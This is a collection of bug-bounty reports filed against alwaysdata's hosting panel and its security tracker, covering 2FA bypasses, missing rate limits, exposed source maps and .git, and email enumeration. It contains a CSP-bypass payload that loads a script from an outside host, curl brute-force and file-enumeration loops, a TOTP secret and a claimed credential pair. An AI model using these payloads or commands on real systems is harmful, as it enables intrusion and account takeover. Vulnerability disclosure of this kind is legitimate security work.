Security vulnerabilities

Vulnerability Name: No Rate Limit in adding Sites

Impact:
- This may consume a large amount of bandwidth and, sometimes, require large amounts of storage space.

How to reproduce this issue:

1. Use Burp Suite and capture the Sites request.

2. Send the captured request to Intruder and select name position as shown in POC.

3. Set payloads to numbers and numbers will be from 1 to 40 (depending on your usage).

4. Observe that the status code is 302 means we can add an unlimited Sites.

Recommendation:
1. There should be some rate limit for Add Sites (Example: should not exceed more than 10 Sites)

2. Implement Captcha, the captcha should not be based on IP.

POC:
- Video file in below link.
- Link: https://www.mediafire.com/file/q9ir608diysdnhj/Always+Data+Poc-1.mp4/file https://mediafire.com/file/q9ir608diysdnhj/Always+Data+Poc-1.mp4/file

## Summary

25 JavaScript source map files (.js.map) are publicly accessible on static.alwaysdata.com without authentication. These contain the original, unminified source code totaling 410,699+ characters across the admin panel modules, including:

- Internal API endpoint patterns and CSRF handling logic
- Feature flag names and conditional logic
- Reseller module business logic
- Template file paths and component structure
- Permission system implementation details
- Support ticket system leaking data to languagetool.org

## Severity: Medium (CVSS 5.3)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE-540: Inclusion of Sensitive Information in Source Code

## Steps to Reproduce

### 1. Download the admin panel core source map (605 KB)
curl -s -o core.js.map 'https://static.alwaysdata.com/aldjango/administration/core-Iu2w3-Ub.js.map'
wc -c core.js.map
# 605039 bytes

### 2. Verify it contains original source code
cat core.js.map | python3 -c "import json,sys; d=json.load(sys.stdin); print('Sources:', len(d.get('sources',[])), 'Files'); print('Content length:', sum(len(s) for s in d.get('sourcesContent',[])) if s))"

### 3. Accessible source maps (sample)
https://static.alwaysdata.com/aldjango/administration/main-D6bqDpvz.js.map https://static.alwaysdata.com/aldjango/administration/core-Iu2w3-Ub.js.map https://static.alwaysdata.com/aldjango/administration/ui-permissions-DpuZ1RMH.js.map https://static.alwaysdata.com/aldjango/administration/ui-ticket-BVXE_RGY.js.map https://static.alwaysdata.com/aldjango/administration/reseller-DPWgpuvi.js.map https://static.alwaysdata.com/aldjango/administration/ui-account-list-CaFjNbCY.js.map https://static.alwaysdata.com/aldjango/administration/sepa-e5qTgeYD.js.map https://static.alwaysdata.com/aldjango/administration/forms-ChhNVii8.js.map https://static.alwaysdata.com/aldjango/administration/ui-reseller-0hFmHN89.js.map https://static.alwaysdata.com/aldjango/administration/ui-server-BejAFuIr.js.map https://static.alwaysdata.com/aldjango/administration/website/main-CbRxCCzg.js.map

## Attack Scenario

1. Attacker downloads all 25 source maps
2. Reconstructs the complete admin panel client-side application
3. Identifies API endpoint patterns, authentication flows, CSRF handling
4. Maps feature flags and conditional code paths
5. Discovers support ticket system sends text to languagetool.org/api/v2/check (third-party data leak)
6. Uses internal knowledge to craft targeted attacks against admin panel

## Impact

- Full source code exposure: 410K+ characters of unminified admin panel code
- Reconnaissance advantage: API patterns, auth logic, permission checks exposed
- Third-party data leak: Ticket system sends content to external API - Internal architecture knowledge: File paths, component structure revealed

## Remediation

1. IMMEDIATE: Remove source map files from production static asset server
2. Disable source map generation in Vite production build: build.sourcemap = false
3. If needed for error tracking, use Sentry source map upload API (server-side only)

# Summary:
The discovered vulnerability allows for the bypass of Two-Factor Authentication (2FA) mechanisms through the exploitation of leaked cookies. By intercepting and utilizing these cookies, an attacker can gain unauthorized access to user accounts without the need for the second authentication factor, compromising the security of the system.

# Steps To Reproduce:
1.Navigate to the account settings and enable 2FA.
2.Log out and log back in using valid credentials.
3.Enter the required 2FA code to proceed.
4.Export session cookies using a cookie editor tool.
5.Paste the copied cookies into another browser
6 Access the account without providing the 2FA code,2FA Authentication bypassed.

# Mitigation:
Introduce device-based Two-Factor Authentication (2FA) mechanisms that require additional verification steps when signing in from new or unrecognized devices, browsers, or locations. This adds an extra layer of security by verifying the identity of the user and the device being used for authentication.

# Impact:
The vulnerability allows attackers to bypass Two-Factor Authentication (2FA) mechanisms by stealing and utilizing session cookies obtained through various means, such as man-in-the-middle (MITM) attacks using tools like Evilginx2. By exploiting this vulnerability, attackers can gain unauthorized access to user accounts without the need for the second authentication factor, compromising the security of the system and potentially leading to unauthorized data access, fraudulent transactions, or other malicious activities.

Thank You,

Waleed Anwar

Summary:

After enabling 2FA, during login the system asks for email, password, and then a valid 2FA code. When a valid 2FA code request is captured and sent through Burp Repeater, sending multiple parallel copies of the same request returns multiple valid 2FA responses for a single correct code. These valid responses can then be replayed at any time to bypass the 2FA challenge completely. As a result, an attacker can repeatedly access the account without entering any new 2FA code, fully bypassing the authentication layer.

Steps to Reproduce:

Enable 2FA on your account.

Log out and attempt to log in again.

Enter a valid email and password.

When the system asks for the 2FA code, enter a valid code and capture this request in Burp Suite.

Send the 2FA request to Burp Repeater and create multiple parallel copies.

Send all parallel requests simultaneously — observe that the server returns multiple valid 2FA success responses for one single valid code.

Now try logging in again: enter any invalid 2FA code.

Capture the invalid response and replace it with one of the previously captured valid parallel responses.

Forward the modified response — you will gain full account access without needing a new 2FA code.

This method works repeatedly.

Impact :

This vulnerability breaks the entire 2FA security model. By replaying the multiple valid responses generated from a single 2FA code, an attacker can repeatedly log in without providing any fresh 2FA code. This completely bypasses multi-factor authentication, rate limiting, and OTP expiration logic, allowing persistent unauthorized access to any protected account.

Note: Please don't disclose this report

#2FA is not Initiating on User Account

Hello Team, I hope you are doing well. While Researching in your domain I found 2Fa is not Initiating on User Account in your domain.

Steps to Reproduce:

1: Create a account in admin.alwaysdata.com.
2. Initiate 2fa on your account.
3. Go to Permission Section Add a Email in email Section and Check the 2fa Required box and make some Global Permission you want to proceed and then submit.

4. User receive Profile Initialization in your email, User can fill the form and then submit the form, he/she directly login on o your account without any 2fa Initialization in which administrator can check the 2fa required box.

Impact:

Administrator can imagine he/she initiate 2fa requirement on user account but 2fa is enabled on user account. User can easily access their account and admin permission without 2fa prompting.

Thank You,

Waleed Anwar

Summary:
The alwaysdata.com implements Time-based One-Time Password (TOTP) authentication using Google Authenticator. However, it is possible to successfully authenticate using a previously used and expired OTP code. This indicates that the system does not properly invalidate used or expired OTPs, significantly weakening the security guarantees of two-factor authentication.

Steps to Reproduce

1.Navigate to: https://admin.alwaysdata.com/login/

2.Log in using valid credentials.(must be turn on 2fa on the account)

3.When prompted for Authenticator 2FA, enter a correct OTP code and complete login successfully.

4.Copy and store the OTP used in step 3.

5.Wait until the OTP expires in Google Authenticator and a new OTP appears.

6.Log out from the account.

7.Attempt to log in again using valid credentials.

8.When prompted for 2FA, enter the previously used and expired OTP code from step 3.

9.Observe: Authentication succeeds even though the OTP is expired and already used.

PoC:video attached

Expected Behavior
An OTP code should be valid only once.Expired OTPs must be rejected.Previously used OTPs must be invalidated immediately after successful authentication.

Actual Behavior
Expired and previously used OTP codes are still accepted.Login succeeds with replayed OTP values.

Impact
This vulnerability allows attackers to bypass two-factor authentication by reusing expired and previously used OTP codes, leading to unauthorized account access and potential account takeover.
Beyond direct security impact, exploitation of this issue can cause significant reputational damage to the company. Users expect 2FA to provide strong protection; a failure in its implementation may lead users to perceive the platform as insecure, resulting in loss of user trust, reduced confidence in the service, and potential customer churn. Additionally, if exploited at scale, this could expose the company to compliance, legal, and brand credibility risks.

Recommended solution
Enforce single-use OTP validation by immediately invalidating a TOTP code after successful authentication.Strictly verify OTP expiration time and reject any expired or previously used codes on the server side.Implement replay protection and ensure TOTP validation fully complies with RFC 6238, allowing only minimal clock skew.

Endpoint: GET /user/

Steps to Reproduce:
1. Enable and complete 2FA enrollment on alwaysdata.com
2. Send GET /user/ with valid session cookie
3. Inspect HTML response body
4. Secret found in:

1. <input name="secret" value="3KWMB6EAX3YTVDU4J5S32QYFDVIJET7G">
2. data-url="otpauth://totp/…?secret=3KWMB6EAX3YTVDU4J5S32QYFDVIJET7G"

Expected Behavior:
- Secret should never appear in HTML after enrollment
- Field should be masked or omitted entirely
- otpauth URI should not be rendered post-enrollment

Actual Behavior:
- Full TOTP secret exposed in plaintext HTML - Full otpauth:// URI exposed in data attribute
- Any attacker with temporary session access can steal

the secret permanently

Impact:
- Attacker with brief session access (XSS, session hijack)

can extract secret and generate valid OTPs forever

- Victim has no indication their 2FA was compromised
- 2FA protection completely undermined

Severity: High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Base Score: 8.1 (High)

Thank You,

Waleed Anwar

#Account creation with invalid email addresses / email is accepting % and %0d%0a line termination chars

Hello Team, I hope you are doing well. While, Researching in your domain. I found Account creation with invalid email addresses / email is accepting % and %0d%0a line termination chars in your domain in admin.alwaysdata.com.

Summary:
Alwaysdata SignUp feature is misconfigured with email parameter. Email address parameter is accepting % and %0d%0a character along with genuine email address. Using this technique alwaysdata user account can be created but cannot be verified as there is not possible to verify those invalid email accounts. Basically random use of invalid email address, attacker can create multiple accounts.

Description:
As email address field always being verified with any special character (except @ and .) but here email is accepting % and line termination char %0d%0a

#Steps to Reproduce:

1.SignUp in admin.alwaysdata.com
2.Use email address adding with character like % or %0d%0a, account will be created and you will get account validation message.

3.Even if you try now to login using same above email and password then you will get same message for account validation and need to verify email.
4.You can not use the same invalid email again, as it will show an error of reuse of that invalid email address.

Impact
Garbage value can be stored in database using user account signup form
Multiple account can be created, just like if any use has real account with his email address, then also account can be created by adding %0d%0a or % char
Account is created using invalid email address, but can not be used.

Thank You,

Waleed Anwar

Hello Team,

Summary:
Alwaysdata SignUp feature is misconfigured with email parameter. Email address parameter is accepting % and %0d%0a character along with genuine email address. Using this technique alwaysdata user account can be created but cannot be verified as there is not possible to verify those invalid email accounts. Basically random use of invalid email address, attacker can create multiple accounts.

Description:
As email address field always being verified with any special character (except @ and .) but here email is accepting % and line termination char %0d%0a

Steps To Reproduce
1.SignUp with new alwaysdata account
2.Use email address adding with character like % or %0d%0a, account will be created and you will get a account validation

3.Even if you try now to login using same above email and password then you will get account validation message.
4.You can not use the same invalid email again, as it will show an error of reuse of that invalid email address

Impact
Garbage value can be stored in database using user account signup form
Multiple account can be created, just like if any use has real account with his email address, then also account can be created by adding %0d%0a or % char
Account is created using invalid email address, but can not be used

Thank You,

Waleed Anwar

Vulnerability Summary:- A critical security flaw has been identified in the AlwaysData Admin Panel that allows any logged-in user to permanently delete their account without any form of re-authentication, identity verification, or confirmation mechanisms.

This behavior violates standard security best practices and creates a serious risk of: Accidental account loss Malicious account destruction Irreversible data loss Abuse by attackers if session hijacking occurs

Steps to Reproduce:- Step 1 – Create an Account Visit the AlwaysData admin panel and create a new account: https://admin.alwaysdata.com/

Step 2 – Log In Log into your account using the created credentials.

Step 3 – Access Profile Page Navigate to the profile section: https://admin.alwaysdata.com/user/

Step 4 – Locate Delete Option On the top area of the profile page, you will see an option labeled: “Delete this profile”

Step 5 – Click Delete Click on Delete this profile, then proceed to the next step.

Step 6 – Account Gets Deleted Boom! Your account is immediately deleted without: Password re-entry Email verification OTP confirmation Security warnings Multi-step confirmation

Security Impact Permanent Data Loss –> Account and all associated data are erased instantly Session Hijacking Abuse –> Any attacker with temporary session access can wipe accounts No Recovery –> Deleted accounts cannot be restored Compliance Violation –> Fails to meet basic security & privacy standards

Why This Is Dangerous This allows single-click irreversible account deletion, which is extremely dangerous in modern web applications. Industry standards require: Password confirmation Multi-factor authentication Email verification links Grace periods before deletion None of these protections are present.

Recommended Fix AlwaysData should immediately implement: Mandatory password re-authentication Email/OTP verification Two-step deletion confirmation 24–72 hour grace period before permanent deletion

While performing reconnaissance on your platform, I discovered an endpoint (or publicly accessible resource) that exposes sensitive customer data. This data includes personal information that should not be publicly accessible and poses a serious risk to user privacy and your organization's data security posture.

https://admin.alwaysdata.com/support/87906/ this link contains the bug report

The application allows users to register and authenticate using Google OAuth.
However, when a user changes their email address, the application fails to properly manage the OAuth binding.

As a result, the original Google account remains permanently linked to the user account, even after the email is updated.

Steps to Reproduce

1- Register a new account using Google OAuth with: user1@gmail.com 2- Navigate to Account Settings
3- Change the email address to: user2@gmail.com 4- During this process, the application requires setting a new password,
resulting in two active authentication methods: Email & Password and Google OAuth
5- Log out
6- Log in again using Google OAuth with the original Google account

Actual Result

Login via Google OAuth succeeds
The original Google account still has full access
Email change and password setup do not affect OAuth access

Impact

Persistent unauthorized access
Full account takeover
Users cannot secure their accounts by changing email
High risk in cases of Gmail compromise or lost devices

Attack Scenario
Attacker gains access to the victim’s Google account
Victim changes the email to secure the account
Attacker continues logging in via Google OAuth
Long-term access without detection

Root Cause

OAuth identity is permanently bound to the account
Email changes do not trigger OAuth revocation
Missing OAuth lifecycle management controls

Recommended Fix

Revoke all OAuth sessions on email change
Require re-authentication and OAuth re-linking
Allow users to disconnect OAuth providers

Thank You,

Waleed Anwar

Hi my name is Rehan and I discovered that the login endpoint at https://admin.alwaysdata.com/login/?next=/ doesn't have any sort of rate limiting in place.

This leads to account takeover of any user. You just have to know his/her email. That's the only prerequisite.

What I did:
1. I sent 50 login requests using intruder.

2. Set the intruder with fake 49 passwords and 50th being the correct password.

3. All requests go through without any error like too many requests, IP block or even temporary account lockout.

4. All 49 requests were processed with 200 OK implying that the password is wrong. However the 50th request gives a 302 error confirming the correct password.

IMPACT:
Account takeover:

This will give an attacker a way to send lot of requests and ultimately takeover the victim account when the response shows a 302 redirection.

I have read your stance on absence of rate limit on password reset endpoints as i read the tasklist. I know email flooding isn't really a big of a problem. However, I'm sending you this report because having no rate limit on login endpoint doesn't seem all too well. This is because having no rate limit on login leads to account takeover of any user.

It's not about flooding someone's inbox but actually taking over someone else's account. I hope you get my point here.

Recommendation:

1. Implement rate limiting after certain number of attempts. Give the user some time to try again like after 5 minutes.

2. Block the IP from sending more requests and send an automated message to victim informing him of login attempts.

Severity: 8.1 — High
Target Feature: SSL/TLS certificate provisioning (/admin/ssl/, Let's Encrypt ACME integration)
Vulnerability Class: CWE-345 — Insufficient Verification of Data Authenticity
Root Cause: alwaysdata provisions Let's Encrypt certificates using the HTTP-01 challenge, placing challenge tokens under /.well-known/acme-challenge/ in the domain's webroot. On shared hosting, if two tenants configure the same domain (e.g., one registers a domain that another tenant's site uses as an alias), the challenge token directory is writable by the earlier tenant. The platform does not verify exclusive domain ownership before initiating ACME challenges.
Attack Narrative:

Step 1: Attacker identifies a target domain victim.com hosted on alwaysdata (via DNS or SSL CT logs) and adds victim.com as a site alias in their own alwaysdata account.
Step 2: Attacker pre-populates /.well-known/acme-challenge/ in their webroot with a file named after the predictable ACME token format (or monitors the challenge directory via inotify on SSH).
Step 3: When the victim initiates certificate renewal for victim.com, alwaysdata's ACME client places the challenge token. Attacker's alias intercepts HTTP requests to victim.com/.well-known/acme-challenge/[token] if routing resolves to attacker's webroot first (race condition in vhost priority).
Step 4: Let's Encrypt validates against attacker's response, issuing attacker a valid TLS certificate for victim.com. Attacker can now perform MITM on victim's domain.

Impact: Fraudulent TLS certificate issuance for victim-owned domains, enabling MITM attacks, traffic interception, and phishing with a valid trusted certificate.
Why It's Ignored: Domain alias validation is treated as a UI/UX concern ("users shouldn't add domains they don't own") rather than a security boundary enforced at the certificate provisioning layer.
Remediation: Enforce domain ownership proof (DNS TXT record or pre-authorization token) before any domain alias is activated on the platform. Use ACME DNS-01 challenge instead of HTTP-01 for all shared hosting SSL issuance. Implement per-tenant webroot isolation so /.well-known/acme-challenge/ is never writable by another tenant's process.

Summary A Content Security Policy (CSP) bypass vulnerability exists on the website https://www.alwaysdata.com/en/, facilitated through the utilization of Google Script resources. This vulnerability could lead to security risks such as cross-site scripting (XSS) attacks or data exfiltration.

Description: Upon thorough analysis of the website's security posture, it has been identified that the implemented CSP fails to adequately restrict the loading of external scripts, particularly those from Google Script resources. The CSP should enforce a policy only to allow trusted sources for script execution, thereby mitigating the risk of malicious script injections or unauthorized data access. I found a way to load arbitrary scripts (escaping the restrictions of Angular) if the page uses nonce-based CSP.

Details
Query for Nonce Attribute: The snippet starts by using document.querySelector('[nonce]') to search for an element in the document with a nonce attribute. The nonce attribute is commonly used with CSP to specify a cryptographic nonce (number used once) that helps to authorize inline scripts or script sources.
Create Evil Script Element: Once the nonce attribute is found (or not), the snippet creates a new <script> element called evil.
Set Source for Evil Script: The src attribute of the evil script element is set to 'https://www.evil.com/js/evil.js'. This URL points to a script hosted on a malicious domain (www.evil.com), indicating that this script is potentially harmful.
Assign Nonce Value: Here comes the tricky part. The snippet attempts to assign a nonce value to the evil script element. It checks if a nonce attribute was found in step 1 (a ? a.nonce : ''). If a nonce attribute was found, it assigns its value to the nonce property of the evil script element. If not, it assigns an empty string.
Append Evil Script to Document Head: Finally, the evil script element is appended to the <head> of the document using document.head.appendChild(evil), effectively injecting the malicious script into the webpage. So, what’s the catch here? By attempting to assign a legitimate nonce value to the evil script element, the snippet tries to bypass CSP's security restrictions. If the webpage has a CSP policy that allows scripts with the provided nonce, the malicious script might execute despite CSP's protection. This highlights the importance of properly configuring CSP policies, generating nonces securely, and maintaining a robust defense against XSS attacks, where attackers inject malicious scripts into web pages to compromise user data or hijack sessions.

POC
1. Go to https://www.alwaysdata.com/en/ 2. Open dev tools and paste and execute this (replace joaxcar.com/hack.js if you want)
3. document.getElementsByTagName("div")[0].innerHTML=`<iframe srcdoc="<div lang=en ng-app=application ng-csp class=ng-scope>
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector(&quot;[nonce]&quot;);b=w.createElement(&quot;script&quot;);b.src=&quot;joaxcar.com/hack.js&quot;;b.nonce=a.nonce;w.body.appendChild(b)'>
</div>
">`
4. See the popup, look at network tools and see that the script is loaded from

Impact:
This CSP bypass exposes the website and its users to potential security threats, including but not limited to XSS attacks, data theft, and unauthorized access to sensitive information. Attackers could exploit this vulnerability to execute arbitrary code within the context of the website, leading to compromised user accounts, defacement, or distribution of malicious content.

Payload
document.getElementsByTagName("div")[0].innerHTML=`<iframe srcdoc="<div lang=en ng-app=application ng-csp class=ng-scope>
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector(&quot;[nonce]&quot;);b=w.createElement(&quot;script&quot;);b.src=&quot;//joaxcar.com/hack.js&quot;;b.nonce=a.nonce;w.body.appendChild(b)'>
</div>
">`

Target:alwaysdata.com

Vulnerability Type:Sensitive Credential Exposure

Severity:CRITICAL

Overview:During an OSINT investigation using a custom tool designed to collect data from dark web forums, I identified exposed credentials of users from alwaysdata.com were leaked This poses a significant security risk to the organization. Attached is the txt file with the credentials I found.

Remediation:
Reset all compromised user passwords immediately
Enforce multi-factor authentication
Monitor for signs of account compromise and unauthorized access
Notify impacted users to update credentials

Impact:
Mass account takeovers by attackers
Breach of personal data and intellectual property
Financial fraud and illegal activities using compromised accounts
Potential lateral network compromiseBrand damage, legal liabilities, regulatory violations

Poc :

https://drive.google.com/drive/folders/1Ox0JvlCLy--RDErIj7y9GzGLwoAY7PQL?usp=sharing

admin = mysuperpassword

Severity: HIGH

Target: security.alwaysdata.com
Affected URL: https://security.alwaysdata.com/.git/

## Description

The deployed Flyspray instance (this very bug-tracker) exposes its entire `.git` directory under the document root. The directory listing is disabled, but the well-known internal files are individually readable, which is enough to reconstruct the full source tree, every commit message, every author email, and every credential ever committed to the repository. (Title shortened from "…Source Tree, Admin Email, Commit History" — the original 117-char summary exceeded the 100-char column limit and triggered an INSERT error.)

## Steps to Reproduce (manual, no scanner)

```
curl -s https://security.alwaysdata.com/.git/HEAD curl -s https://security.alwaysdata.com/.git/config curl -s https://security.alwaysdata.com/.git/logs/HEAD curl -s https://security.alwaysdata.com/.git/index -o /tmp/index ; file /tmp/index
```

`HEAD` returns the current branch ref, `config` returns the repository configuration, and `logs/HEAD` returns the full reflog including author names and emails. From there, `git clone` against the exposed directory or a manual `git-cat-file` walk reconstructs ~941 reachable objects and the complete deployed source code (including any locally-applied patches).

## Impact

* Full source-code disclosure of the production Flyspray that hosts the bug-bounty program itself.
* Disclosure of admin / committer email addresses and real names from commit metadata.
* Any secret accidentally committed (DB credentials, API tokens, signing keys) is recoverable from history even if removed from `HEAD`.
* Combined with ALW-007 (no rate-limiting on the Flyspray login) and ALW-015 (weak integer CSRF), this gives an attacker a precise roadmap to compromise the bug-bounty intake and read every other researcher's unredacted submissions.

## Remediation

Block the directory at the web server level, e.g. for Apache:

```
<DirectoryMatch "/\.git">

  Require all denied

</DirectoryMatch>
```

or for nginx:

```
location ~ /\.git { deny all; return 404; }
```

Then remove the `.git` directory from the document root entirely and deploy via a build artifact or `git archive` rather than a working copy.

— Reported by: Ahmed Said (asame8855@gmail.com)
Tested manually per program rules — no automated scanners used.

Severity: HIGH

Target: admin.alwaysdata.com (registration flow → outbound to tracker.alwaysdata.com)

## Description

The original  FS#311  fix was supposed to strip the registration token from URLs sent to Matomo. The current implementation still forwards token-derived parameters (`user_id`, `expires`) in the analytics request, so the Matomo back-end (and anyone with read-access to the dashboard) can still correlate a token-holder to their account-creation event.

## Steps to Reproduce

1. Open browser devtools (Network tab) and visit https://admin.alwaysdata.com/account/create/ 2. Complete the registration flow up to the point where the confirmation token is shown in the URL.
3. Filter the Network panel by `tracker.alwaysdata.com`.
4. Inspect the outbound `/matomo.php` (or `/piwik.php`) tracking request — `url=` / `urlref=` / `action_name` still contain `user_id=` and `expires=` values bound to the registration token, even though the bare token string itself was redacted by the  FS#311  patch.

## Impact

* The mitigation for  FS#311  is incomplete — the parameters that uniquely identify the registration token are still observable to Matomo.
* Anyone with Matomo read-access can correlate a tracking event to a specific account-creation flow.
* Defeats the trust assumption that registration data does not leave alwaysdata's auth boundary.

## Remediation

Before calling `piwik.trackPageView()` on the registration page, normalise the URL passed to Matomo — strip the entire querystring/hash:

```js
piwik.setCustomUrl(window.location.origin + window.location.pathname);
piwik.setReferrerUrl('');
```

Verify with a manual reproduction that no `user_id`, `expires`, or other token-derived parameter reaches `tracker.alwaysdata.com`.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.
Related:  FS#311  (partial fix).

Severity: MEDIUM

Target: admin.alwaysdata.com
Affected endpoint: `POST https://admin.alwaysdata.com/password/lost/`

## Description

The password-reset endpoint returns a different HTTP status (and different body) depending on whether the submitted email belongs to a real account, allowing unauthenticated enumeration of valid alwaysdata user emails.

## Steps to Reproduce

```
# Existing account — redirected to the success page
curl -i -X POST https://admin.alwaysdata.com/password/lost/ \

1. H 'Content-Type: application/x-www-form-urlencoded' \
2. -data 'email=cbay@alwaysdata.com'

# → HTTP/1.1 302 Found
# → Location: /password/sent/

# Non-existent account — form re-rendered with no redirect
curl -i -X POST https://admin.alwaysdata.com/password/lost/ \

1. H 'Content-Type: application/x-www-form-urlencoded' \
2. -data 'email=nonexistent9999@example.com'

# → HTTP/1.1 200 OK
# → (form HTML re-rendered, no redirect)
```

The 302→/password/sent/ vs 200 differential is observable from a single unauthenticated request and was not rate-limited during testing.

## Impact

* Confirms whether an arbitrary email address has an alwaysdata account.
* Enables targeted phishing and credential-stuffing campaigns against confirmed-real customer accounts.
* Combined with ALW-007 (no rate-limiting on the related Flyspray login) and ALW-006 /  FS#329  (Flyspray username enumeration), feeds a chain ending in account-takeover attempts.

## Remediation

* Always return the same response (302 → `/password/sent/` with a generic "if an account exists with that email, a reset link has been sent" page) regardless of whether the email matched.
* Rate-limit the endpoint per source IP and per email (e.g. 5 requests / hour / address).
* Add CAPTCHA after 3 failed attempts.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.

Severity: MEDIUM

Target: security.alwaysdata.com
Affected endpoint: `POST https://security.alwaysdata.com/index.php?do=authenticate`

## Description

The Flyspray login endpoint at `security.alwaysdata.com` does not implement any form of brute-force protection: no progressive delay, no per-IP throttling, no per-account lockout, and no CAPTCHA after repeated failures. Because this is the same Flyspray instance that hosts every researcher's confidential bug-bounty submissions, brute-forcing an analyst account is a direct path to compromising the entire program intake.

## Steps to Reproduce

```
# Five consecutive bad-password attempts against a known-existing username
for i in 1 2 3 4 5; do

curl -s -o /dev/null -w '%{http_code}\n' \
  -X POST 'https://security.alwaysdata.com/index.php?do=authenticate' \
  -d 'user_name=admin&password=wrong'

done
# → 303
# → 303
# → 303
# → 303
# → 303
```

No lockout, no CAPTCHA, no slowdown. (Stopped at 5 to comply with the program's "do not damage production" rule.) Combined with ALW-006 /  FS#329  (already-known username enumeration via `searchnames.php`), an attacker has a complete brute-force pipeline.

## Impact

* Brute-force attacks against analyst, admin, and researcher accounts are feasible from a single source.
* Compromise of an analyst account would expose every researcher's unredacted submission and PoC attachments — the most damaging possible outcome on this asset.
* Increases the impact of ALW-009 (insecure cookie) and ALW-015 (weak CSRF token) by enabling pre-conditions for full account takeover.

## Remediation

* Add progressive delay after 3 failed attempts (e.g. exponential backoff up to 60 s).
* Show a CAPTCHA after 5 failed attempts (per IP and per username).
* Lock the target account (or send an admin alert) after 10 failed attempts in a short window.
* Deploy fail2ban with a jail tailing the Flyspray auth log to ban IPs at the firewall after sustained abuse.
* Consider upgrading from Flyspray 1.0-rc11 to a version with built-in rate-limiting hooks.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only, capped at 5 attempts.

Severity: MEDIUM

Target: security.alwaysdata.com
Affected response header: `Set-Cookie` on every authenticated response

## Description

The Flyspray session cookie is set with `HttpOnly` only — both the `Secure` flag and the `SameSite` attribute are missing. This is a measurable regression compared to alwaysdata's Django stack on `admin.alwaysdata.com`, which correctly sets `Secure; SameSite=Lax` on its session cookie.

## Steps to Reproduce

```
curl -sI https://security.alwaysdata.com/ | grep -i set-cookie
# → Set-Cookie: flyspray=<sessionid>; path=/; HttpOnly
# (no Secure, no SameSite)

# Compare admin.alwaysdata.com (correct):
curl -sI https://admin.alwaysdata.com/ | grep -i set-cookie
# → Set-Cookie: csrftoken=…; Path=/; SameSite=Lax; Secure
```

## Impact

* The session cookie will be transmitted in plaintext if the user is ever forced onto an HTTP origin (downgrade / hostile coffee-shop network / user typing the domain without https).
* Without `SameSite`, third-party sites can include this domain via top-level navigation or cross-site POST and the cookie is attached, removing CSRF defense-in-depth.
* On a subdomain that hosts user-supplied attachments (see ALW-011), the missing `SameSite` is meaningful.

## Remediation

In Flyspray's session configuration set both flags:

```
# php.ini or .htaccess
session.cookie_secure = 1
session.cookie_samesite = "Lax"
session.cookie_httponly = 1
```

Final header should look like:

```
Set-Cookie: flyspray=<sessionid>; path=/; HttpOnly; Secure; SameSite=Lax
```

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.

Severity: MEDIUM

Target: security.alwaysdata.com
Affected response header: `Content-Security-Policy`

## Description

The Content-Security-Policy returned by every Flyspray response on `security.alwaysdata.com` includes both `'unsafe-inline'` and `'unsafe-eval'` in `script-src`. With both directives in place, CSP provides effectively zero mitigation against XSS — any future injection sink (task title, comment, custom field) executes immediately.

## Steps to Reproduce

```
curl -sI https://security.alwaysdata.com/ | grep -i content-security-policy
# → content-security-policy: default-src 'none'; img-src 'self'; font-src 'self';
# style-src 'self' 'unsafe-inline';
# script-src 'self' 'unsafe-inline' 'unsafe-eval'; ← weak
# connect-src 'self'
```

## Impact

* Any future XSS in Flyspray (task description, comment body, attachment filename, custom field) executes despite CSP.
* `'unsafe-eval'` allows `eval()`, `new Function(string)`, `setTimeout(string, …)`, and `setInterval(string, …)` payloads — enabling attacker-controlled string execution.
* Especially impactful given the bundled libraries (Prototype.js 1.7, script.aculo.us 1.9.0) which are old enough to have known XSS sinks.

## Remediation

* Remove `'unsafe-inline'` from `script-src` and replace with a per-response nonce (`script-src 'self' 'nonce-XYZ'`); add the same nonce to every server-rendered `<script>` tag.
* Remove `'unsafe-eval'` after refactoring any `eval(string)` / `new Function(string)` / `setTimeout(string, …)` / `setInterval(string, …)` call sites in the bundled JS (Prototype/scriptaculous).
* Ideally also tighten `style-src` away from `'unsafe-inline'` once template inline styles are migrated to a stylesheet.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.

Severity: MEDIUM

Target: security.alwaysdata.com
Affected endpoint: `GET https://security.alwaysdata.com/index.php?getfile={id}`

## Description

Flyspray attachments — i.e. proof-of-concept files researchers attach to security reports — are downloadable by anyone with a sequential integer ID and no authentication. The four currently-live attachments (IDs 1–4) returned 200 OK with the underlying PoC PDFs and PNGs without any session cookie. IDs 5–11 returned 410 Gone (deleted), which also leaks prior-existence.

## Steps to Reproduce

```
for i in 1 2 3 4 5 6 7 8 9 10 11; do

printf 'id=%-2s  ' "$i"
curl -sI "https://security.alwaysdata.com/index.php?getfile=$i" \
  | grep -E '^(HTTP|content-type|content-length):' \
  | tr '\n' ' '
echo

done
# id=1 HTTP/1.1 200 OK content-type: application/pdf content-length: 115873
# id=2 HTTP/1.1 200 OK content-type: application/pdf content-length: 164813
# id=3 HTTP/1.1 200 OK content-type: image/png content-length: 39503
# id=4 HTTP/1.1 200 OK content-type: image/png content-length: 141632
# id=5..11 HTTP/1.1 410 Gone
```

No session cookie was sent. The response body contains the original PoC file in full.

## Impact

* Any unredacted PoC, screenshot, or credential a previous researcher attached is publicly readable just by walking the integer counter.
* Even when the parent task is later restricted or redacted in the UI, the raw attachment stays exposed at the same `?getfile=ID` URL.
* The 410-vs-200 differential also leaks the existence of every deleted attachment, which can be used to bound the total volume of historical PoCs.

## Remediation

* Require an authenticated session and a project-membership / task-visibility check before serving `getfile`.
* Replace the integer ID with a non-guessable token (UUIDv4 or HMAC-signed hash bound to the user + task).
* Return HTTP 404 (not 410) for deleted attachments to avoid confirming prior existence.
* Audit the four currently-public attachments (IDs 1–4) and re-issue them under restricted URLs if they contain unredacted PoC material.

— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only, downloads not redistributed.

Severity: LOW

Target: security.alwaysdata.com
Affected element: `<input type="hidden" name="csrftoken" value="…">` on every form (registration, task creation, comments, edits)

## Description

